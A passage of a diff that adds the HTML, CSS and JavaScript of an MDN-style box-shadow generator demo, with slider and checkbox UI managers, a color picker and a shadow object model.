+                    &lt;div class="output" data-topic="before" data-name="element:before"
+                        data-prop="content=[&amp;quot;&amp;quot;] position=[absolute] width height top left z-index background-color box-shadow transform -webkit-transform -ms-transform"&gt;
+                    &lt;/div&gt;
+                    &lt;div class="output" data-topic="after" data-name="element:after"
+                        data-prop="content=[&amp;quot;&amp;quot;] position=[absolute] width height top left z-index background-color box-shadow transform -webkit-transform -ms-transform"&gt;
+                    &lt;/div&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+    &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS_Content">CSS Content</h3>
+
+<pre class="brush: css">/*  GRID OF TWELVE
+ * ========================================================================== */
+
+.span_12 {
+	width: 100%;
+}
+
+.span_11 {
+	width: 91.46%;
+}
+
+.span_10 {
+	width: 83%;
+}
+
+.span_9 {
+	width: 74.54%;
+}
+
+.span_8 {
+	width: 66.08%;
+}
+
+.span_7 {
+	width: 57.62%;
+}
+
+.span_6 {
+	width: 49.16%;
+}
+
+.span_5 {
+	width: 40.7%;
+}
+
+.span_4 {
+	width: 32.24%;
+}
+
+.span_3 {
+	width: 23.78%;
+}
+
+.span_2 {
+	width: 15.32%;
+}
+
+.span_1 {
+	width: 6.86%;
+}
+
+
+/*  SECTIONS
+ * ========================================================================== */
+
+.section {
+	clear: both;
+	padding: 0px;
+	margin: 0px;
+}
+
+/*  GROUPING
+ * ========================================================================== */
+
+
+.group:before, .group:after {
+    content: "";
+    display: table;
+}
+
+.group:after {
+    clear:both;
+}
+
+.group {
+    zoom: 1; /* For IE 6/7 (trigger hasLayout) */
+}
+
+/*  GRID COLUMN SETUP
+ * ========================================================================== */
+
+.col {
+	display: block;
+	float:left;
+	margin: 1% 0 1% 1.6%;
+}
+
+.col:first-child {
+	margin-left: 0;
+} /* all browsers except IE6 and lower */
+
+/*
+ * UI Slider
+ */
+
+.slidergroup {
+	height: 20px;
+	margin: 10px 0;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	-moz-user-select: none;
+	user-select: none;
+}
+
+.slidergroup * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Slider */
+
+.ui-slider {
+	height: 10px;
+	width: 200px;
+	margin: 4px 10px;
+	display: block;
+	border: 1px solid #999;
+	border-radius: 3px;
+	background: #EEE;
+}
+
+.ui-slider:hover {
+	cursor: pointer;
+}
+
+.ui-slider-name {
+	width: 90px;
+	padding: 0 10px 0 0;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-slider-pointer {
+	width: 13px;
+	height: 13px;
+	background-color: #EEE;
+	border: 1px solid #2C9FC9;
+	border-radius: 3px;
+	position: relative;
+	top: -3px;
+	left: 0%;
+}
+
+.ui-slider-btn-set {
+	width: 25px;
+	background-color: #2C9FC9;
+	border-radius: 3px;
+	color: #FFF;
+	font-weight: bold;
+	text-align: center;
+}
+
+.ui-slider-btn-set:hover {
+	background-color: #379B4A;
+	cursor: pointer;
+}
+
+.ui-slider-input &gt; input {
+	margin: 0 10px;
+	padding: 0;
+	width: 50px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+/*
+ * UI Button
+ */
+
+/* Checkbox */
+
+.ui-checkbox {
+	text-align: center;
+	font-size: 16px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	line-height: 1.5em;
+	color: #FFF;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-checkbox &gt; input {
+ 	display: none;
+}
+
+.ui-checkbox &gt; label {
+	font-size: 12px;
+	padding: 0.333em 1.666em 0.5em;
+	height: 1em;
+	line-height: 1em;
+
+	background-color: #888;
+	background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+
+	color: #FFF;
+	border-radius: 3px;
+	font-weight: bold;
+	float: left;
+}
+
+.ui-checkbox .text {
+	padding-left: 34px;
+	background-position: center left 10px;
+}
+
+.ui-checkbox .left {
+	padding-right: 34px;
+	padding-left: 1.666em;
+	background-position: center right 10px;
+}
+
+.ui-checkbox &gt; label:hover {
+	cursor: pointer;
+}
+
+.ui-checkbox &gt; input:checked + label {
+	background-image: url("https://mdn.mozillademos.org/files/5681/checked.png");
+	background-color: #379B4A;
+}
+
+/*
+ * BOX SHADOW GENERATOR TOOL
+ */
+
+body {
+	max-width: 1000px;
+	height: 800px;
+	margin: 20px auto 0;
+
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+}
+
+#container {
+	width: 100%;
+	padding: 2px;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+
+/* container with shadows stacks */
+#stack_container {
+	height: 400px;
+	overflow: hidden;
+	position: relative;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#stack_container .container {
+	height: 100%;
+	width: 100%;
+	position: absolute;
+	left: 100%;
+	transition-property: left;
+	transition-duration: 0.5s;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+
+#stack_container .title {
+	text-align: center;
+	font-weight: bold;
+	line-height: 2em;
+	border-bottom: 1px solid #43A6E1;
+	color: #666;
+}
+
+
+/*
+ * Stack of Layers for shadow
+ */
+
+#layer_manager {
+	width: 17%;
+	background-color: #FEFEFE;
+	margin: 0 1% 0 0;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+	float: left;
+}
+
+
+#layer_manager .button {
+	width: 30%;
+	height: 25px;
+	margin:0 0 10px;
+	color: #333;
+	background-color: #EEE;
+	text-align: center;
+	font-size: 0.75em;
+	line-height: 1.5em;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+
+	display: block;
+	background-position: center center;
+	background-repeat: no-repeat;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+	float: left;
+}
+
+#layer_manager .button:hover {
+	background-color: #3380C4;
+	border: 1px solid #3380C4;
+	cursor: pointer;
+}
+
+#layer_manager [data-type='add'] {
+	background-image: url("https://mdn.mozillademos.org/files/5685/add-black.png");
+}
+
+#layer_manager [data-type='add']:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5687/add-white.png");
+}
+
+#layer_manager [data-type='move-up'] {
+	background-image: url("https://mdn.mozillademos.org/files/5697/up-black.png");
+	margin-left: 5%;
+	margin-right: 5%;
+}
+
+#layer_manager [data-type='move-up']:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5709/up-white.png");
+}
+
+#layer_manager [data-type='move-down'] {
+	background-image: url("https://mdn.mozillademos.org/files/5693/down-black.png");
+}
+
+#layer_manager [data-type='move-down']:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5695/down-white.png");
+}
+
+/* shadows classes */
+
+#layer_manager .node {
+	width: 100%;
+	margin: 5px 0;
+	padding: 5px;
+	text-align: center;
+	background-color: #EEE;
+	border: 1px solid #DDD;
+	font-size: 0.75em;
+	line-height: 1.5em;
+	color: #333;
+	border-radius: 3px;
+
+	position: relative;
+	display: block;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#layer_manager .node:hover {
+	color: #FFF;
+	background-color: #3380C4;
+	cursor: pointer;
+}
+
+/* active element styling */
+
+#layer_manager [data-active='layer'] {
+	color: #FFF;
+	border: none;
+	background-color: #379B4A;
+}
+
+#layer_manager [data-active='subject'] {
+	color: #FFF;
+	background-color: #467FC9;
+}
+
+/* delete button */
+
+#layer_manager .delete {
+	width: 1.5em;
+	height: 100%;
+	float: right;
+	border-radius: 3px;
+	background-image: url("https://mdn.mozillademos.org/files/5689/delete-white.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+	position: absolute;
+	top: 0;
+	right: 10px;
+	display: none;
+}
+
+#layer_manager .delete:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5691/delete-yellow.png");
+}
+
+#layer_manager .node:hover .delete {
+	display: block;
+}
+
+
+#layer_manager .stack {
+	padding: 0 5px;
+	max-height: 90%;
+	overflow: auto;
+	overflow-x: hidden;
+}
+
+
+/*
+ * Layer Menu
+ */
+
+#layer_menu {
+	margin: 0 0 10px 0;
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#layer_menu .button {
+	width: 100px;
+	margin: 0 5px 0 0;
+	padding: 2.5px;
+	color: #333;
+	background-color: #EEE;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+	text-align: center;
+	font-size: 0.75em;
+	line-height: 1.5em;
+
+	position: relative;
+	display: block;
+	float: left;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#layer_menu .button:hover {
+	color: #FFF;
+	background-color: #3380C4;
+	border: 1px solid #3380C4;
+	cursor: pointer;
+}
+
+#layer_menu .delete {
+	width: 1.5em;
+	height: 100%;
+	float: right;
+	border-radius: 3px;
+	background-image: url("https://mdn.mozillademos.org/files/5689/delete-white.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+	position: absolute;
+	top: 0;
+	right: 5px;
+	display: none;
+}
+
+#layer_menu .delete:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5691/delete-yellow.png");
+}
+
+#layer_menu .button:hover .delete {
+	display: block;
+}
+
+
+/*
+ * active element styling
+ */
+
+#layer_menu [data-active='subject'] {
+	color: #FFF;
+	background-color: #379B4A;
+	border: 1px solid #379B4A;
+}
+
+
+/* Checkbox */
+
+#layer_menu .ui-checkbox &gt; label {
+	height: 15px;
+	line-height: 17px;
+	font-weight: normal;
+	width: 46px;
+	margin: 0 5px 0 0;
+}
+
+#layer_menu .ui-checkbox &gt; input:checked + label {
+	display: none;
+}
+
+
+/******************************************************************************/
+/******************************************************************************/
+/*
+ * Preview Area
+ */
+
+#preview_zone {
+	width: 82%;
+	float: left;
+
+}
+
+
+#preview {
+	width: 100%;
+	height: 400px;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+	cursor: move;
+	float: left;
+}
+
+#preview .content {
+	width: 100%;
+	height: 100%;
+	display: block;
+}
+
+#obj-element {
+	width: 300px;
+	height: 100px;
+	border: 1px solid #CCC;
+	background: #FFF;
+	position: relative;
+}
+
+
+#obj-before {
+	height: 100%;
+	width: 100%;
+	background: #999;
+	border: 1px solid #CCC;
+	text-align: left;
+	display : block;
+	position: absolute;
+	z-index: -1;
+}
+
+#obj-after {
+	height: 100%;
+	width: 100%;
+	background: #DDD;
+	border: 1px solid #CCC;
+	text-align: right;
+	display : block;
+	position: absolute;
+	z-index: -1;
+}
+
+
+/******************************************************************************/
+/******************************************************************************/
+
+/**
+ * Controls
+ */
+
+.wrap-left {
+	float: left;
+	overflow: hidden;
+}
+
+.wrap-right {
+	float: right;
+	overflow: hidden;
+}
+
+.wrap-left &gt; * {
+	float: left;
+}
+
+.wrap-right &gt; * {
+	float: right;
+}
+
+@media (min-width: 960px) {
+
+	.wrap-left {
+		width: 45%;
+	}
+
+	.wrap-right {
+		width: 55%;
+	}
+}
+
+
+@media (max-width: 959px) {
+
+	.wrap-left {
+		width: 30%;
+	}
+
+	.wrap-right {
+		width: 70%;
+	}
+}
+
+
+#controls {
+	color: #444;
+	margin: 10px 0 0 0;
+}
+
+
+#controls .category {
+	width: 500px;
+	margin: 0 auto 20px;
+	padding: 0;
+
+}
+
+#controls .category .title {
+	width: 100%;
+	height: 1.5em;
+	line-height: 1.5em;
+	color: #AAA;
+	text-align: right;
+}
+
+#controls .category &gt; .group {
+	border: 1px solid #CCC;
+	border-radius: 3px;
+}
+
+
+/**
+ * 	Color Picker
+ */
+
+@media (min-width: 960px) {
+	#controls .colorpicker {
+		width: 420px;
+	}
+}
+
+@media (max-width: 959px) {
+	#controls .colorpicker {
+		width: 210px;
+	}
+}
+
+#colorpicker {
+	width: 100%;
+	margin: 0 auto;
+}
+
+#colorpicker .gradient {
+	width: 200px;
+	height: 200px;
+	margin: 5px;
+	background: url("https://mdn.mozillademos.org/files/5707/picker_mask_200.png");
+	background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-moz-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-webkit-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background-color: #F00;
+	float: left;
+}
+
+#colorpicker .hue {
+	width: 200px;
+	height: 30px;
+	margin: 5px;
+	background: url("https://mdn.mozillademos.org/files/5701/hue.png");
+	background: -moz-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -webkit-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	float: left;
+}
+
+#colorpicker .alpha {
+	width: 200px;
+	height: 30px;
+	margin: 5px;
+	border: 1px solid #CCC;
+	float: left;
+	background: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#colorpicker #alpha {
+	width: 100%;
+	height: 100%;
+	background: url("https://mdn.mozillademos.org/files/5703/alpha_mask.png");
+	background: -moz-linear-gradient(left, rgba(255, 0, 0, 0) 0%, rgba(255, 0, 0, 1) 100%);
+}
+
+#colorpicker #gradient_picker {
+	width: 0.5em;
+	height: 0.5em;
+	border-radius: 0.4em;
+	border: 2px solid #CCC;
+	position: relative;
+	top: 20%;
+	left: 20%;
+}
+
+#colorpicker #hue_selector,
+#colorpicker #alpha_selector {
+	width: 3px;
+	height: 100%;
+	border: 1px solid #777;
+	background-color: #FFF;
+	position: relative;
+	top: -1px;
+	left: 0%;
+}
+
+/* input HSV and RGB */
+#colorpicker .info {
+	width: 200px;
+	margin: 5px;
+	float: left;
+}
+
+#colorpicker .info * {
+	float: left;
+}
+
+#colorpicker .info input {
+	margin: 0;
+	text-align: center;
+	width: 30px;
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+}
+
+#colorpicker .info span {
+	height: 20px;
+	width: 30px;
+	text-align: center;
+	line-height: 20px;
+	display: block;
+}
+
+/* Preview color */
+#colorpicker .block {
+	width: 95px;
+	height: 54px;
+	float: left;
+	position: relative;
+}
+
+#colorpicker .preview {
+	margin: 5px;
+	border: 1px solid #CCC;
+	background-image: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#colorpicker .preview:before {
+	height: 100%;
+	width: 50%;
+	left: 50%;
+	content: "";
+	background: #FFF;
+	position: absolute;
+	z-index: 1;
+}
+
+#colorpicker .preview &gt; * {
+	width: 50%;
+	height: 100%;
+}
+
+#colorpicker #output_color {
+	width: 100%;
+	height: 100%;
+	position: absolute;
+	z-index: 2;
+}
+
+#colorpicker .block .input {
+	float: right;
+}
+
+#colorpicker [data-topic="a"] &gt; span {
+	width: 50px;
+}
+
+#colorpicker [data-topic="hexa"] {
+	float: right;
+	margin: 10px 0 0 0;
+}
+
+#colorpicker [data-topic="hexa"] &gt; span {
+	display: none;
+}
+
+#colorpicker [data-topic="hexa"] &gt; input {
+	width: 85px;
+	padding: 2px 0;
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+
+/*
+ * UI Components
+ */
+
+/* Property */
+
+.property {
+	height: 20px;
+	margin: 10px 0;
+}
+
+.property * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Slider */
+
+#controls .ui-slider-name {
+	margin: 0 10px 0 0;
+}
+
+/*
+ * Output code styling
+ */
+
+#output {
+	position: relative;
+}
+
+#output .menu {
+	max-width: 70%;
+	height: 20px;
+	position: absolute;
+	top: 2px;
+}
+
+#output .button {
+	width: 90px;
+	height: 22px;
+	margin: 0 5px 0 0;
+	text-align: center;
+	line-height: 20px;
+	font-size: 14px;
+	color: #FFF;
+	background-color: #999;
+	border-top-left-radius: 3px;
+	border-top-right-radius: 3px;
+	bottom: -5px;
+	float:left;
+}
+
+#output .button:hover {
+	color: #FFF;
+	background-color: #666;
+	cursor: pointer;
+}
+
+#output .menu [data-active="true"] {
+	color: #777;
+	background-color: #FFF;
+	border: 1px solid #CCC;
+	border-bottom: none;
+}
+
+#output .menu [data-topic="before"] {
+	left: 100px;
+}
+
+#output .menu [data-topic="after"] {
+	left: 200px;
+}
+
+#output .output {
+	width: 480px;
+	margin: 10px;
+	padding: 10px;
+	overflow: hidden;
+	color: #555;
+	font-size: 14px;
+	border: 1px dashed #CCC;
+	border-radius: 3px;
+	display: none;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+}
+
+#output .css-property {
+	width: 100%;
+	float: left;
+	white-space: pre;
+}
+
+#output .name {
+	width: 35%;
+	float: left;
+}
+
+#output .value {
+	width: 65%;
+	float: left;
+}
+
+</pre>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js"><code class="language-js">
+
+'use strict';
+
+/**
+ * UI-SlidersManager
+ */
+
+var SliderManager = (function SliderManager() {
+
+	var subscribers = {};
+	var sliders = [];
+
+	var Slider = function(node) {
+		var min = node.getAttribute('data-min') | 0;
+		var max = node.getAttribute('data-max') | 0;
+		var step = node.getAttribute('data-step') | 0;
+		var value = node.getAttribute('data-value') | 0;
+		var snap = node.getAttribute('data-snap');
+		var topic = node.getAttribute('data-topic');
+
+		this.min = min;
+		this.max = max &gt; 0 ? max : 100;
+		this.step = step === 0 ? 1 : step;
+		this.value = value &lt;= max &amp;&amp; value &gt;= min ? value : (min + max) / 2 | 0;
+		this.snap = snap === "true" ? true : false;
+		this.topic = topic;
+		this.node = node;
+
+		var pointer = document.createElement('div');
+		pointer.className = 'ui-slider-pointer';
+		node.appendChild(pointer);
+		this.pointer = pointer;
+
+		setMouseTracking(node, updateSlider.bind(this));
+
+		sliders[topic] = this;
+		setValue(topic, this.value);
+	}
+
+	var setButtonComponent = function setButtonComponent(node) {
+		var type = node.getAttribute('data-type');
+		var topic = node.getAttribute('data-topic');
+		if (type === "sub") {
+			node.textContent = '-';
+			node.addEventListener("click", function() {
+				decrement(topic);
+			});
+		}
+		if (type === "add") {
+			node.textContent = '+';
+			node.addEventListener("click", function() {
+				increment(topic);
+			});
+		}
+	}
+
+	var setInputComponent = function setInputComponent(node) {
+		var topic		= node.getAttribute('data-topic');
+		var unit_type	= node.getAttribute('data-unit');
+
+		var input = document.createElement('input');
+		var unit = document.createElement('span');
+		unit.textContent = unit_type;
+
+		input.setAttribute('type', 'text');
+		node.appendChild(input);
+		node.appendChild(unit);
+
+		input.addEventListener('click', function(e) {
+			this.select();
+		});
+
+		input.addEventListener('change', function(e) {
+			setValue(topic, e.target.value | 0);
+		});
+
+		subscribe(topic, function(value) {
+			node.children[0].value = value;
+		});
+	}
+
+	var increment = function increment(topic) {
+		var slider = sliders[topic];
+		if (slider === null || slider === undefined)
+			return;
+
+		if (slider.value + slider.step &lt;= slider.max) {
+			slider.value += slider.step;
+			setValue(slider.topic, slider.value)
+			notify.call(slider);
+		}
+	};
+
+	var decrement = function decrement(topic) {
+		var slider = sliders[topic];
+		if (slider === null || slider === undefined)
+			return;
+
+		if (slider.value - slider.step &gt;= slider.min) {
+			slider.value -= slider.step;
+			setValue(topic, slider.value)
+			notify.call(slider);
+		}
+	}
+
+	// this = Slider object
+	var updateSlider = function updateSlider(e) {
+		var node = this.node;
+		var pos = e.pageX - node.offsetLeft;
+		var width = node.clientWidth;
+		var delta = this.max - this.min;
+		var offset = this.pointer.clientWidth + 4; // border width * 2
+
+		if (pos &lt; 0) pos = 0;
+		if (pos &gt; width) pos = width;
+
+		var value = pos * delta / width | 0;
+		var precision = value % this.step;
+		value = value - precision + this.min;
+		if (precision &gt; this.step / 2)
+			value = value + this.step;
+
+		if (this.snap)
+			pos =  (value - this.min) * width / delta;
+
+		this.pointer.style.left = pos - offset/2 + "px";
+		this.value = value;
+		node.setAttribute('data-value', value);
+		notify.call(this);
+	}
+
+	var setValue = function setValue(topic, value) {
+		var slider = sliders[topic];
+
+		if (value &gt; slider.max || value &lt; slider.min)
+			return;
+
+		var delta = slider.max - slider.min;
+		var width = slider.node.clientWidth;
+		var offset = slider.pointer.clientWidth;
+		var pos =  (value - slider.min) * width / delta;
+		slider.value = value;
+		slider.pointer.style.left = pos - offset / 2 + "px";
+		slider.node.setAttribute('data-value', value);
+		notify.call(slider);
+	}
+
+	var setMouseTracking = function setMouseTracking(elem, callback) {
+		elem.addEventListener("mousedown", function(e) {
+			callback(e);
+			document.addEventListener("mousemove", callback);
+		});
+
+		document.addEventListener("mouseup", function(e) {
+			document.removeEventListener("mousemove", callback);
+		});
+	}
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	}
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	}
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+
+		for (var i in subscribers[this.topic]) {
+			subscribers[this.topic][i](this.value);
+		}
+	}
+
+	var init = function init() {
+		var elem, size;
+
+		elem = document.querySelectorAll('.ui-slider-btn-set');
+		size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			setButtonComponent(elem[i]);
+
+		elem = document.querySelectorAll('.ui-slider-input');
+		size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			setInputComponent(elem[i]);
+
+		elem = document.querySelectorAll('.ui-slider');
+		size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			new Slider(elem[i]);
+	}
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	}
+
+})();
+
+/**
+ * UI-ButtonManager
+ */
+
+var ButtonManager = (function CheckBoxManager() {
+
+	var subscribers = [];
+	var buttons = [];
+
+	var CheckBox = function CheckBox(node) {
+		var topic = node.getAttribute('data-topic');
+		var state = node.getAttribute('data-state');
+		var name = node.getAttribute('data-label');
+		var align = node.getAttribute('data-text-on');
+
+		state = (state === "true");
+
+		var checkbox = document.createElement("input");
+		var label = document.createElement("label");
+
+		var id = 'checkbox-' + topic;
+		checkbox.id = id;
+		checkbox.setAttribute('type', 'checkbox');
+		checkbox.checked = state;
+
+		label.setAttribute('for', id);
+		if (name) {
+			label.className = 'text';
+			if (align)
+				label.className += ' ' + align;
+			label.textContent = name;
+		}
+
+		node.appendChild(checkbox);
+		node.appendChild(label);
+
+		this.node = node;
+		this.topic = topic;
+		this.checkbox = checkbox;
+
+		checkbox.addEventListener('change', function(e) {
+			notify.call(this);
+		}.bind(this));
+
+		buttons[topic] = this;
+	}
+
+	var getNode =  function getNode(topic) {
+		return buttons[topic].node;
+	}
+
+	var setValue = function setValue(topic, value) {
+		try {
+			buttons[topic].checkbox.checked = value;
+			notify.call(buttons[topic]);
+		}
+		catch(error) {
+			console.log(error, topic, value);
+		}
+	}
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+
+		subscribers[topic].push(callback);
+	}
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	}
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+		for (var i = 0; i &lt; subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.checkbox.checked);
+	}
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-checkbox');
+		var size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			new CheckBox(elem[i]);
+	}
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	}
+
+})();
+
+
+window.addEventListener("load", function(){
+	BoxShadow.init();
+});
+
+var BoxShadow = (function BoxShadow() {
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	/**
+	 * RGBA Color class
+	 */
+
+	function Color() {
+		this.r = 0;
+		this.g = 0;
+		this.b = 0;
+		this.a = 1;
+		this.hue = 0;
+		this.saturation = 0;
+		this.value = 0;
+	}
+
+	Color.prototype.copy = function copy(obj) {
+		if(obj instanceof Color !== true) {
+			console.log("Typeof instance not Color");
+			return;
+		}
+
+		this.r = obj.r;
+		this.g = obj.g;
+		this.b = obj.b;
+		this.a = obj.a;
+		this.hue = obj.hue;
+		this.saturation = obj.saturation;
+		this.value = obj.value;
+	}
+
+	Color.prototype.setRGBA = function setRGBA(red, green, blue, alpha) {
+		if (red != undefined)
+			this.r = red | 0;
+		if (green != undefined)
+			this.g = green | 0;
+		if (blue != undefined)
+			this.b = blue | 0;
+		if (alpha != undefined)
+			this.a = alpha | 0;
+	}
+
+	/**
+	 * HSV/HSB (hue, saturation, value / brightness)
+	 * @param hue			0-360
+	 * @param saturation	0-100
+	 * @param value 		0-100
+	 */
+	Color.prototype.setHSV = function setHSV(hue, saturation, value) {
+		this.hue = hue;
+		this.saturation = saturation;
+		this.value = value;
+		this.updateRGB();
+	}
+
+	Color.prototype.updateRGB = function updateRGB() {
+		var sat = this.saturation / 100;
+		var value = this.value / 100;
+		var C = sat * value;
+		var H = this.hue / 60;
+		var X = C * (1 - Math.abs(H % 2 - 1));
+		var m = value - C;
+		var precision = 255;
+
+		C = (C + m) * precision;
+		X = (X + m) * precision;
+		m = m * precision;
+
+		if (H &gt;= 0 &amp;&amp; H &lt; 1) {	this.setRGBA(C, X, m);	return; }
+		if (H &gt;= 1 &amp;&amp; H &lt; 2) {	this.setRGBA(X, C, m);	return; }
+		if (H &gt;= 2 &amp;&amp; H &lt; 3) {	this.setRGBA(m, C, X);	return; }
+		if (H &gt;= 3 &amp;&amp; H &lt; 4) {	this.setRGBA(m, X, C);	return; }
+		if (H &gt;= 4 &amp;&amp; H &lt; 5) {	this.setRGBA(X, m, C);	return; }
+		if (H &gt;= 5 &amp;&amp; H &lt; 6) {	this.setRGBA(C, m, X);	return; }
+	}
+
+	Color.prototype.updateHSV = function updateHSV() {
+		var red		= this.r / 255;
+		var green	= this.g / 255;
+		var blue	= this.b / 255;
+
+		var cmax = Math.max(red, green, blue);
+		var cmin = Math.min(red, green, blue);
+		var delta = cmax - cmin;
+		var hue = 0;
+		var saturation = 0;
+
+		if (delta) {
+			if (cmax === red ) { hue = ((green - blue) / delta); }
+			if (cmax === green ) { hue = 2 + (blue - red) / delta; }
+			if (cmax === blue ) { hue = 4 + (red - green) / delta; }
+			if (cmax) saturation = delta / cmax;
+		}
+
+		this.hue = 60 * hue | 0;
+		if (this.hue &lt; 0) this.hue += 360;
+		this.saturation = (saturation * 100) | 0;
+		this.value = (cmax * 100) | 0;
+	}
+
+	Color.prototype.setHexa = function setHexa(value) {
+		var valid  = /(^#{0,1}[0-9A-F]{6}$)|(^#{0,1}[0-9A-F]{3}$)/i.test(value)
+		if (valid !== true)
+			return;
+
+		if (value[0] === '#')
+			value = value.slice(1, value.length);
+
+		if (value.length === 3)
+			value = value.replace(/([0-9A-F])([0-9A-F])([0-9A-F])/i,"$1$1$2$2$3$3");
+
+		this.r = parseInt(value.substr(0, 2), 16);
+		this.g = parseInt(value.substr(2, 2), 16);
+		this.b = parseInt(value.substr(4, 2), 16);
+
+		this.alpha	= 1;
+	}
+
+	Color.prototype.getHexa = function getHexa() {
+		var r = this.r.toString(16);
+		var g = this.g.toString(16);
+		var b = this.b.toString(16);
+		if (this.r &lt; 16) r = '0' + r;
+		if (this.g &lt; 16) g = '0' + g;
+		if (this.b &lt; 16) b = '0' + b;
+		var value = '#' + r + g + b;
+		return value.toUpperCase();
+	}
+
+	Color.prototype.getRGBA = function getRGBA() {
+
+		var rgb = "(" + this.r + ", " + this.g + ", " + this.b;
+		var a = '';
+		var v = '';
+		if (this.a !== 1) {
+			a = 'a';
+			v = ', ' + this.a;
+		}
+
+		var value = "rgb" + a + rgb + v + ")";
+		return value;
+	}
+
+	Color.prototype.getColor = function getColor() {
+		if (this.a | 0 === 1)
+			return this.getHexa();
+		return this.getRGBA();
+	}
+
+	/**
+	 * Shadow Object
+	 */
+	function Shadow() {
+		this.inset  = false;
+		this.posX   = 5;
+		this.posY   = -5;
+		this.blur   = 5;
+		this.spread = 0;
+		this.color  = new Color();
+
+		var hue			= (Math.random() * 360) | 0;
+		var saturation	= (Math.random() * 75) | 0;
+		var value 		= (Math.random() * 50 + 50) | 0;
+		this.color.setHSV(hue, saturation, value, 1);
+	}
+
+	Shadow.prototype.computeCSS = function computeCSS() {
+		var value = "";
+		if (this.inset === true)
+			value += "inset ";
+		value += this.posX + "px ";
+		value += this.posY + "px ";
+		value += this.blur + "px ";
+		value += this.spread + "px ";
+		value += this.color.getColor();
+
+		return value;
+	}
+
